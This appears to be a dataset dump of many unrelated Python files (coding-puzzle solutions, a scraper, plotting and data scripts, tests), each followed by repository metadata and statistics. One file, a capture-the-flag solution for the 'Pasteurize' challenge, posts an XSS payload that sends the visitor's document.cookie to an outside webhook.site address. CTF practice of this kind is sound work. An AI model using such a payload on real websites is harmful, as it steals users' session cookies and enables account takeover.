from business.ci.ci_task_parameter_service import CI... | 27.25 | 72 | 0.763303 | 118 | 1,090 | 6.855932 | 0.5 | 0.059333 | 0.024722 | 0.066749 | 0.318912 | 0.212608 | 0.212608 | 0.212608 | 0.212608 | 0.212608 | 0 | 0.008772 | 0.163303 | 1,090 | 39 | 73 | 27.948718 | 0.878289 | 0.138532 | 0 | 0.235294 | 0 | 0 | 0.010011 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.117647 | false | 0 | 0.294118 | 0 | 0.882353 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 1 |
b0a05dc2fcad4bbe3156161354e99b4fa56b5535 | 666 | py | Python | Symmetric Tree.py | ChyavanKoushik/-My-Solutions-to-Leetcode-problems-using-Python-3 | b78779bd3f5313ab4752f9e9a23cb4a93805aff6 | [
"MIT"
] | 1 | 2020-07-11T15:10:19.000Z | 2020-07-11T15:10:19.000Z | Symmetric Tree.py | ChyavanKoushik/-My-Solutions-to-Leetcode-problems-using-Python-3 | b78779bd3f5313ab4752f9e9a23cb4a93805aff6 | [
"MIT"
] | null | null | null | Symmetric Tree.py | ChyavanKoushik/-My-Solutions-to-Leetcode-problems-using-Python-3 | b78779bd3f5313ab4752f9e9a23cb4a93805aff6 | [
"MIT"
] | null | null | null | # Definition for a binary tree node.
# class TreeNode:
# def __init__(self, x):
# self.val = x
# self.left = None
# self.right = None
class Solution:
def isSymmetric(self, root):
"""
:type root: TreeNode
:rtype: bool
"""
ptr = root
if(ptr=... | 24.666667 | 86 | 0.503003 | 84 | 666 | 3.940476 | 0.369048 | 0.108761 | 0.084592 | 0.054381 | 0.07855 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.375375 | 666 | 27 | 87 | 24.666667 | 0.795673 | 0.276276 | 0 | 0.153846 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.153846 | false | 0 | 0 | 0 | 0.615385 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 1 |
b0a210478770d270da6e717e23c836b0dee9d3ef | 180 | py | Python | jp.atcoder/abc102/abc102_b/9248681.py | kagemeka/atcoder-submissions | 91d8ad37411ea2ec582b10ba41b1e3cae01d4d6e | [
"MIT"
] | 1 | 2022-02-09T03:06:25.000Z | 2022-02-09T03:06:25.000Z | jp.atcoder/abc102/abc102_b/9248681.py | kagemeka/atcoder-submissions | 91d8ad37411ea2ec582b10ba41b1e3cae01d4d6e | [
"MIT"
] | 1 | 2022-02-05T22:53:18.000Z | 2022-02-09T01:29:30.000Z | jp.atcoder/abc102/abc102_b/9248681.py | kagemeka/atcoder-submissions | 91d8ad37411ea2ec582b10ba41b1e3cae01d4d6e | [
"MIT"
] | null | null | null | import sys
n, *a = map(int, sys.stdin.read().split())
def main():
a.sort()
return a[-1] - a[0]
if __name__ == "__main__":
ans = main()
print(ans)
| 12.857143 | 43 | 0.494444 | 26 | 180 | 3.115385 | 0.730769 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.016129 | 0.311111 | 180 | 13 | 44 | 13.846154 | 0.637097 | 0 | 0 | 0 | 0 | 0 | 0.047904 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.125 | false | 0 | 0.125 | 0 | 0.375 | 0.125 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
b0a5e221bf9ef4d660262d2ed08fec2672de5ce6 | 1,044 | py | Python | seqwise_cont_skillspace/networks/classifier_seq_step_cont_choose_dims.py | fgitmichael/SelfSupevisedSkillDiscovery | 60eee11cfd67046190dd2784bf40e97bdbed9d40 | [
"MIT"
] | null | null | null | seqwise_cont_skillspace/networks/classifier_seq_step_cont_choose_dims.py | fgitmichael/SelfSupevisedSkillDiscovery | 60eee11cfd67046190dd2784bf40e97bdbed9d40 | [
"MIT"
] | 6 | 2021-02-02T23:00:02.000Z | 2022-01-13T03:13:51.000Z | seqwise_cont_skillspace/networks/classifier_seq_step_cont_choose_dims.py | fgitmichael/SelfSupevisedSkillDiscovery | 60eee11cfd67046190dd2784bf40e97bdbed9d40 | [
"MIT"
] | null | null | null | from typing import Union
from seqwise_cont_skillspace.networks.rnn_vae_classifier import \
RnnVaeClassifierContSkills
class RnnStepwiseSeqwiseClassifierObsDimSelect(RnnVaeClassifierContSkills):
def __init__(self,
*args,
input_size,
obs_dims_selected: Union[... | 29 | 75 | 0.612069 | 111 | 1,044 | 5.36036 | 0.432432 | 0.094118 | 0.201681 | 0.095798 | 0.080672 | 0.080672 | 0 | 0 | 0 | 0 | 0 | 0 | 0.319923 | 1,044 | 35 | 76 | 29.828571 | 0.838028 | 0.011494 | 0 | 0.16 | 0 | 0 | 0.054369 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.08 | false | 0 | 0.08 | 0 | 0.24 | 0 | 0 | 0 | 0 | null | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
b0a816443b29ee3dd3e6c72a76f0961276f90425 | 1,284 | py | Python | meregistro/apps/validez_nacional/FSM.py | MERegistro/meregistro | 6cde3cab2bd1a8e3084fa38147de377d229391e3 | [
"BSD-3-Clause"
] | null | null | null | meregistro/apps/validez_nacional/FSM.py | MERegistro/meregistro | 6cde3cab2bd1a8e3084fa38147de377d229391e3 | [
"BSD-3-Clause"
] | null | null | null | meregistro/apps/validez_nacional/FSM.py | MERegistro/meregistro | 6cde3cab2bd1a8e3084fa38147de377d229391e3 | [
"BSD-3-Clause"
] | null | null | null | from models.EstadoSolicitud import EstadoSolicitud
"""
De Pendiente puede pasar a: controlado, retenido.
De controlado puede pasar a: retenido, evaluado, numerado.
De Retenido puede pasar a:controlado, evaluado
De Evaluado puedo pasar a: numerado
"""
class FSMSolicitud:
def __init__(self):
self.estados = {... | 53.5 | 220 | 0.76324 | 130 | 1,284 | 7.461538 | 0.230769 | 0.170103 | 0.348454 | 0.14433 | 0.589691 | 0.448454 | 0.448454 | 0.2 | 0.2 | 0.2 | 0 | 0 | 0.127726 | 1,284 | 23 | 221 | 55.826087 | 0.866071 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.153846 | false | 0 | 0.076923 | 0.076923 | 0.384615 | 0 | 0 | 0 | 0 | null | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
b0a8727d927e47b98409e6272a4aa283bdbce8d5 | 405 | py | Python | application/csc648-03-fa21-team04/project/com/vo/MessageVO.py | seelapant13/Gator-Learner | a10583daf91d76d1a6610418c0f70715b2a1c811 | [
"MIT"
] | null | null | null | application/csc648-03-fa21-team04/project/com/vo/MessageVO.py | seelapant13/Gator-Learner | a10583daf91d76d1a6610418c0f70715b2a1c811 | [
"MIT"
] | null | null | null | application/csc648-03-fa21-team04/project/com/vo/MessageVO.py | seelapant13/Gator-Learner | a10583daf91d76d1a6610418c0f70715b2a1c811 | [
"MIT"
] | null | null | null | # Class: CSC-648-848 Fall 2021
# Author: Manali Seth
# Description: Contains columns and datatypes of Messaging Table of database
from wtforms import *
class MessageVO:
msgId = IntegerField
msgTo_loginId = IntegerField
msgFrom_loginId = IntegerField
msg_majorId = IntegerField
msg_courseNo = Integ... | 25.3125 | 76 | 0.748148 | 44 | 405 | 6.795455 | 0.772727 | 0.12709 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.031153 | 0.207407 | 405 | 16 | 77 | 25.3125 | 0.900312 | 0.303704 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.1 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 1 |
b0b1e3d43f16b67a5ff4e9b9b0c971aecd3e9976 | 4,854 | py | Python | Zhuanlan.py | rainmanzj/smartspider | e0b9ec2fe6ef93b026e2773f342774263aa66f2d | [
"MIT"
] | 340 | 2016-07-17T08:28:39.000Z | 2022-03-30T15:23:27.000Z | Zhuanlan.py | rainmanzj/smartspider | e0b9ec2fe6ef93b026e2773f342774263aa66f2d | [
"MIT"
] | 10 | 2016-08-10T00:19:31.000Z | 2020-04-22T08:24:25.000Z | Zhuanlan.py | rainmanzj/smartspider | e0b9ec2fe6ef93b026e2773f342774263aa66f2d | [
"MIT"
] | 76 | 2016-07-17T12:18:31.000Z | 2021-12-21T09:01:03.000Z | #!/usr/bin/env python
# encoding: utf-8
"""
@version: 1.0
@author: lizheming
@contact: nkdudu@126.com
@site: lizheming.top
@file: Zhuanlan.py
"""
from zhihu import headers, clear, error, session
from bs4 import BeautifulSoup
import re
import webbrowser
import termcolor
import requests
import json
import sys
class Z... | 30.528302 | 86 | 0.479192 | 505 | 4,854 | 4.558416 | 0.29505 | 0.043006 | 0.063858 | 0.03258 | 0.144222 | 0.090356 | 0.090356 | 0.090356 | 0.090356 | 0.090356 | 0 | 0.011776 | 0.37021 | 4,854 | 159 | 87 | 30.528302 | 0.74125 | 0.015039 | 0 | 0.231343 | 0 | 0 | 0.166025 | 0.032092 | 0 | 0 | 0 | 0 | 0 | 0 | null | null | 0 | 0.074627 | null | null | 0.08209 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
b0b866e5edd6d67d39733549a96e6a2c9c924cf6 | 1,273 | py | Python | cblearn/datasets/tests/test_musician_similarity.py | JFHoelscher/cblearn | 18e3ac24f4d4fdb1e649bea201b18abe27862ef7 | [
"MIT"
] | 7 | 2021-11-19T13:53:56.000Z | 2022-03-28T18:39:04.000Z | cblearn/datasets/tests/test_musician_similarity.py | JFHoelscher/cblearn | 18e3ac24f4d4fdb1e649bea201b18abe27862ef7 | [
"MIT"
] | 20 | 2021-09-24T11:39:06.000Z | 2022-03-17T15:50:06.000Z | cblearn/datasets/tests/test_musician_similarity.py | JFHoelscher/cblearn | 18e3ac24f4d4fdb1e649bea201b18abe27862ef7 | [
"MIT"
] | 3 | 2021-11-24T13:23:17.000Z | 2022-03-24T08:57:20.000Z | import numpy as np
import pytest
from cblearn.datasets import fetch_musician_similarity
@pytest.mark.remote_data
def test_fetch_musician_similarity(tmp_path):
data_home = tmp_path / 'cblearn_datasets'
bunch = fetch_musician_similarity(data_home=data_home, shuffle=False)
assert bunch.data.shape == (131_9... | 43.896552 | 98 | 0.741555 | 185 | 1,273 | 4.859459 | 0.308108 | 0.080089 | 0.12792 | 0.0901 | 0.525028 | 0.299221 | 0.241379 | 0.167964 | 0.113459 | 0 | 0 | 0.055354 | 0.134328 | 1,273 | 29 | 99 | 43.896552 | 0.760436 | 0 | 0 | 0 | 0 | 0 | 0.016484 | 0 | 0 | 0 | 0 | 0 | 0.608696 | 1 | 0.043478 | false | 0 | 0.130435 | 0 | 0.173913 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
b0c74b2e81942f6fdda3626e4e0173d3f260b19b | 1,328 | py | Python | client/query_modules/music_module.py | abhishekg785/hiro | 950224d07797740b8840316bb412c1827eab46f0 | [
"MIT"
] | 7 | 2017-04-12T10:58:42.000Z | 2021-10-03T18:07:29.000Z | client/query_modules/music_module.py | abhishekg785/hiro | 950224d07797740b8840316bb412c1827eab46f0 | [
"MIT"
] | null | null | null | client/query_modules/music_module.py | abhishekg785/hiro | 950224d07797740b8840316bb412c1827eab46f0 | [
"MIT"
] | 5 | 2017-07-06T12:28:10.000Z | 2020-01-07T19:45:25.000Z | # simply handles the reply for hello by the user
import re
import random
import os
import sys
import webbrowser
from random import randint
# getting the watson api functions here
PATH = os.path.normpath(os.path.join(os.path.dirname(os.path.abspath(__file__)), os.pardir))
sys.path.append(PATH)
MUSIC_PATH = os.path.... | 30.181818 | 110 | 0.709337 | 206 | 1,328 | 4.446602 | 0.441748 | 0.052402 | 0.039301 | 0.039301 | 0.19214 | 0.144105 | 0.144105 | 0.144105 | 0.144105 | 0.144105 | 0 | 0.00276 | 0.181476 | 1,328 | 44 | 111 | 30.181818 | 0.839926 | 0.149849 | 0 | 0 | 0 | 0 | 0.121181 | 0.031568 | 0 | 0 | 0 | 0 | 0 | 0 | null | null | 0 | 0.28 | null | null | 0.08 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
b0c81b1e5cf0bc462adf9bdbb74fbefc166b797e | 264 | py | Python | apps/logger.py | dabble-of-devops-bioanalyze/single-cell-cloud-lab | 324bf936297b6a5bd23d4f7e1cf3cbd6b31ba495 | [
"Apache-2.0"
] | null | null | null | apps/logger.py | dabble-of-devops-bioanalyze/single-cell-cloud-lab | 324bf936297b6a5bd23d4f7e1cf3cbd6b31ba495 | [
"Apache-2.0"
] | null | null | null | apps/logger.py | dabble-of-devops-bioanalyze/single-cell-cloud-lab | 324bf936297b6a5bd23d4f7e1cf3cbd6b31ba495 | [
"Apache-2.0"
] | null | null | null | import colorlog
handler = colorlog.StreamHandler()
handler.setFormatter(
colorlog.ColoredFormatter(
"%(log_color)s%(levelname)s:%(name)s:%(filename)s:%(funcName)s: %(message)s"
)
)
logger = colorlog.getLogger(__name__)
logger.addHandler(handler)
| 22 | 84 | 0.719697 | 29 | 264 | 6.37931 | 0.586207 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.125 | 264 | 11 | 85 | 24 | 0.800866 | 0 | 0 | 0 | 0 | 0.111111 | 0.280303 | 0.234848 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.111111 | 0 | 0.111111 | 0 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
b0cb0c2e438281324253c5fc9aef08d9586a6478 | 297 | py | Python | gCTF/gctf20/Pasteurize/asd.py | shagunattri/ctfwriteups | 02654f9feeef43aa28c321a7bd9c13a39be8f137 | [
"MIT"
] | 1 | 2020-06-11T18:04:22.000Z | 2020-06-11T18:04:22.000Z | gCTF/gctf20/Pasteurize/asd.py | shagunattri/MemeBoard | 02654f9feeef43aa28c321a7bd9c13a39be8f137 | [
"MIT"
] | 1 | 2021-03-22T09:51:13.000Z | 2021-03-22T09:51:13.000Z | gCTF/gctf20/Pasteurize/asd.py | shagunattri/MemeBoard | 02654f9feeef43aa28c321a7bd9c13a39be8f137 | [
"MIT"
] | null | null | null | #!/usr/bin/env python3
#JOHN Hammond method result
import requests
url = "https://pasteurize.web.ctfcompetition.com/"
req = requests.post(url,data = {
"content[]": ";new Image().src='https://webhook.site/8db05257-6ad1-44a9-979a-574c1caca5d6?asdf='+document.cookie//"
})
print(req.text)
| 18.5625 | 119 | 0.703704 | 39 | 297 | 5.358974 | 0.897436 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.079245 | 0.107744 | 297 | 15 | 120 | 19.8 | 0.709434 | 0.158249 | 0 | 0 | 0 | 0.166667 | 0.613821 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.166667 | 0 | 0.166667 | 0.166667 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
b0cb84a469618ec441c72fc62b1918615cc6f4ec | 7,437 | py | Python | src/test/py/ltprg/results/plot.py | forkunited/ltprg | 4e40d3571d229023df0f845c68643024e04bc202 | [
"MIT"
] | 11 | 2017-08-03T15:42:19.000Z | 2021-02-04T12:43:35.000Z | src/test/py/ltprg/results/plot.py | forkunited/ltprg | 4e40d3571d229023df0f845c68643024e04bc202 | [
"MIT"
] | null | null | null | src/test/py/ltprg/results/plot.py | forkunited/ltprg | 4e40d3571d229023df0f845c68643024e04bc202 | [
"MIT"
] | 1 | 2021-02-04T12:43:37.000Z | 2021-02-04T12:43:37.000Z | #!/usr/bin/python
#
# Usage: plot.py [input_file] [xlabel] [ylabel] [x] [y] [where] [where_values] [groupby]
#
# input_file: Input tsv file where the first row contains column names
# xlabel: Label for plot horizontal axis
# ylabel: Label for plot vertical axis
# x: Name of column to plot on horizontal axis
# y: Name o... | 33.804545 | 202 | 0.600376 | 1,042 | 7,437 | 4.136276 | 0.18714 | 0.070998 | 0.056381 | 0.01949 | 0.363805 | 0.287703 | 0.223434 | 0.197448 | 0.172158 | 0.097912 | 0 | 0.008997 | 0.267715 | 7,437 | 219 | 203 | 33.958904 | 0.782409 | 0.127202 | 0 | 0.246988 | 0 | 0 | 0.093649 | 0.020553 | 0.006024 | 0 | 0 | 0.004566 | 0 | 0 | null | null | 0.006024 | 0.03012 | null | null | 0.012048 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
b0ccf531cfab6c9c4a503a8b46e7c6adcacdc203 | 1,336 | py | Python | tests/base.py | abdghani995/docker-falcon | 6e552a23c3dcc7210083cbe049a7ffbd13a888b1 | [
"MIT"
] | 19 | 2019-12-14T20:21:03.000Z | 2021-08-11T07:38:42.000Z | tests/base.py | abdghani995/docker-falcon | 6e552a23c3dcc7210083cbe049a7ffbd13a888b1 | [
"MIT"
] | 2 | 2018-05-14T23:05:11.000Z | 2021-11-21T19:32:08.000Z | tests/base.py | vvitsenets/VICTORIA | 843ad6cc1ecec8b0fb424263de37691454cd2b4e | [
"MIT"
] | 4 | 2019-12-15T05:59:57.000Z | 2022-03-05T08:03:04.000Z | import unittest
import falcon
import falcon.testing
import app.util.json as json
from app import create_app
class TestBase(unittest.TestCase):
def setUp(self):
self.app = create_app()
self.srmock = falcon.testing.StartResponseMock()
def simulate_request(self, path, *args, **kwargs):
... | 29.688889 | 66 | 0.627246 | 159 | 1,336 | 5.169811 | 0.264151 | 0.170316 | 0.10219 | 0.145985 | 0.512165 | 0.322384 | 0.279805 | 0.279805 | 0 | 0 | 0 | 0.00291 | 0.228293 | 1,336 | 44 | 67 | 30.363636 | 0.794374 | 0 | 0 | 0.181818 | 0 | 0 | 0.049401 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.242424 | false | 0 | 0.151515 | 0 | 0.666667 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
b0de787d9d796dd2d84865af0e45d3952304b306 | 5,663 | py | Python | models/test2/scripts/lmdb_data.py | Mehuli-Ruh11/Flownet_v1 | 17d517416a24f396a21e36e35e73abeb857451d2 | [
"BSD-2-Clause"
] | 130 | 2016-10-28T18:37:14.000Z | 2022-03-29T03:24:31.000Z | models/test2/scripts/lmdb_data.py | Mehuli-Ruh11/Flownet_v1 | 17d517416a24f396a21e36e35e73abeb857451d2 | [
"BSD-2-Clause"
] | 34 | 2016-09-30T14:35:11.000Z | 2019-01-06T12:02:17.000Z | models/test2/scripts/lmdb_data.py | Mehuli-Ruh11/Flownet_v1 | 17d517416a24f396a21e36e35e73abeb857451d2 | [
"BSD-2-Clause"
] | 73 | 2016-06-24T10:51:51.000Z | 2020-12-22T11:21:40.000Z | import numpy as np
import caffe
import flowlib as fl
import os
import lmdb
from PIL import Image
VERBOSE = 0
SUBPIXELFACTOR = 4
MIN_FLOW = -4.18505
THRESHOLD = 1e8
PATCH_SIZE = 'FULL'
def data2lmdb():
# define image and ground truth file
train_imagefile1 = 'data/Urban3/frame10.png' # specify 1st image file
train_i... | 27.357488 | 80 | 0.707046 | 880 | 5,663 | 4.419318 | 0.214773 | 0.046284 | 0.009257 | 0.016971 | 0.363075 | 0.326562 | 0.311648 | 0.288506 | 0.253536 | 0.253536 | 0 | 0.031813 | 0.167402 | 5,663 | 206 | 81 | 27.490291 | 0.793001 | 0.162811 | 0 | 0.274809 | 0 | 0 | 0.085235 | 0.028842 | 0 | 0 | 0 | 0.004854 | 0 | 0 | null | null | 0 | 0.045802 | null | null | 0.038168 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
b0ff358c2ba4c5c042b20c8c472910cebd571e0f | 861 | py | Python | backend/members/schema.py | singsaker/intern | 9376732c6d537f46443ad43afa51e82df2005da8 | [
"MIT"
] | 4 | 2021-10-06T19:09:12.000Z | 2022-03-28T12:14:42.000Z | backend/members/schema.py | singsaker/intern | 9376732c6d537f46443ad43afa51e82df2005da8 | [
"MIT"
] | 2 | 2021-11-30T16:07:05.000Z | 2022-02-17T23:57:00.000Z | backend/members/schema.py | singsaker/intern | 9376732c6d537f46443ad43afa51e82df2005da8 | [
"MIT"
] | null | null | null | import graphene
import graphql_jwt
from .resolvers import MemberResolvers
from .types import MemberType, UserType
class MemberQueries(graphene.ObjectType, MemberResolvers):
member = graphene.Field(MemberType, id=graphene.ID(required=True))
all_users = graphene.List(UserType)
all_members = graphene.List(M... | 34.44 | 70 | 0.773519 | 99 | 861 | 6.555556 | 0.464646 | 0.077042 | 0.097072 | 0.089368 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.141696 | 861 | 24 | 71 | 35.875 | 0.878214 | 0.091754 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.235294 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 1 |
7c088d45f5f62ebef1ceafec95293618d4108e74 | 390 | py | Python | os_scrapy_record/spiders/__init__.py | zanachka/os-scrapy-record | 03d0cafbea74c981a72d5d7c8a3e28f05e487689 | [
"MIT"
] | 2 | 2020-05-13T12:55:01.000Z | 2020-07-24T06:52:49.000Z | os_scrapy_record/spiders/__init__.py | zanachka/os-scrapy-record | 03d0cafbea74c981a72d5d7c8a3e28f05e487689 | [
"MIT"
] | 1 | 2020-05-22T09:03:04.000Z | 2020-05-22T09:31:45.000Z | os_scrapy_record/spiders/__init__.py | zanachka/os-scrapy-record | 03d0cafbea74c981a72d5d7c8a3e28f05e487689 | [
"MIT"
] | 2 | 2020-07-21T00:54:09.000Z | 2020-10-29T18:10:03.000Z | # This package will contain the spiders of your Scrapy project
#
# Please refer to the documentation for information on how to create and manage
# your spiders.
import scrapy
class ExampleSpider(scrapy.Spider):
"""ExampleSpider
Auto generated by os-scrapy-cookiecuter
Run:
scrapy crawl example
... | 19.5 | 79 | 0.697436 | 49 | 390 | 5.530612 | 0.77551 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.223077 | 390 | 19 | 80 | 20.526316 | 0.894389 | 0.610256 | 0 | 0 | 0 | 0 | 0.206349 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.25 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 1 |
7c0d4593b55079c9f02350a49f16e7cc7ca276e1 | 2,435 | py | Python | acd-annotator-python/acd_annotator_python/acd_annotator.py | Alvearie/acd-extension-framework | 04779a66dec3be9cd0f1899037eaba9c505d3edd | [
"Apache-2.0"
] | 2 | 2021-04-20T17:30:37.000Z | 2021-11-28T01:03:27.000Z | acd-annotator-python/acd_annotator_python/acd_annotator.py | Alvearie/acd-extension-framework | 04779a66dec3be9cd0f1899037eaba9c505d3edd | [
"Apache-2.0"
] | 2 | 2021-04-15T14:16:10.000Z | 2021-04-16T16:45:58.000Z | acd-annotator-python/acd_annotator_python/acd_annotator.py | Alvearie/acd-extension-framework | 04779a66dec3be9cd0f1899037eaba9c505d3edd | [
"Apache-2.0"
] | 4 | 2021-04-15T14:11:10.000Z | 2021-08-10T19:19:46.000Z | # ***************************************************************** #
# #
# (C) Copyright IBM Corp. 2021 #
# #
# SPDX-License-Identifier: Apache-2.0 ... | 39.918033 | 120 | 0.561396 | 236 | 2,435 | 5.661017 | 0.45339 | 0.049401 | 0.023952 | 0.032934 | 0.293413 | 0.247006 | 0.200599 | 0.200599 | 0.131737 | 0.131737 | 0 | 0.00358 | 0.311704 | 2,435 | 60 | 121 | 40.583333 | 0.793556 | 0.325667 | 0 | 0.363636 | 0 | 0 | 0.124088 | 0 | 0 | 0 | 0 | 0 | 0.090909 | 1 | 0.090909 | false | 0.090909 | 0.227273 | 0 | 0.363636 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 1 |
9fd0cbfeb51abe9f235403600ea433496b7820f2 | 14,396 | py | Python | objectModel/Python/tests/persistence/cdmfolder/data_partition/test_data_partition.py | Microsoft/CDM | 7ea59264d661356ca1b44c31a352753928d08b5f | [
"CC-BY-4.0",
"MIT"
] | 265 | 2018-03-04T04:47:50.000Z | 2019-05-06T13:31:18.000Z | objectModel/Python/tests/persistence/cdmfolder/data_partition/test_data_partition.py | Microsoft/CDM | 7ea59264d661356ca1b44c31a352753928d08b5f | [
"CC-BY-4.0",
"MIT"
] | 39 | 2018-03-21T16:57:12.000Z | 2019-05-06T17:30:23.000Z | objectModel/Python/tests/persistence/cdmfolder/data_partition/test_data_partition.py | Microsoft/CDM | 7ea59264d661356ca1b44c31a352753928d08b5f | [
"CC-BY-4.0",
"MIT"
] | 75 | 2018-03-09T20:33:13.000Z | 2019-05-05T06:55:43.000Z | # Copyright (c) Microsoft Corporation. All rights reserved.
# Licensed under the MIT License. See License.txt in the project root for license information.
import os
import unittest
from cdm.utilities.logging import logger
from cdm.enums import CdmObjectType, CdmStatusLevel, CdmIncrementalPartitionType
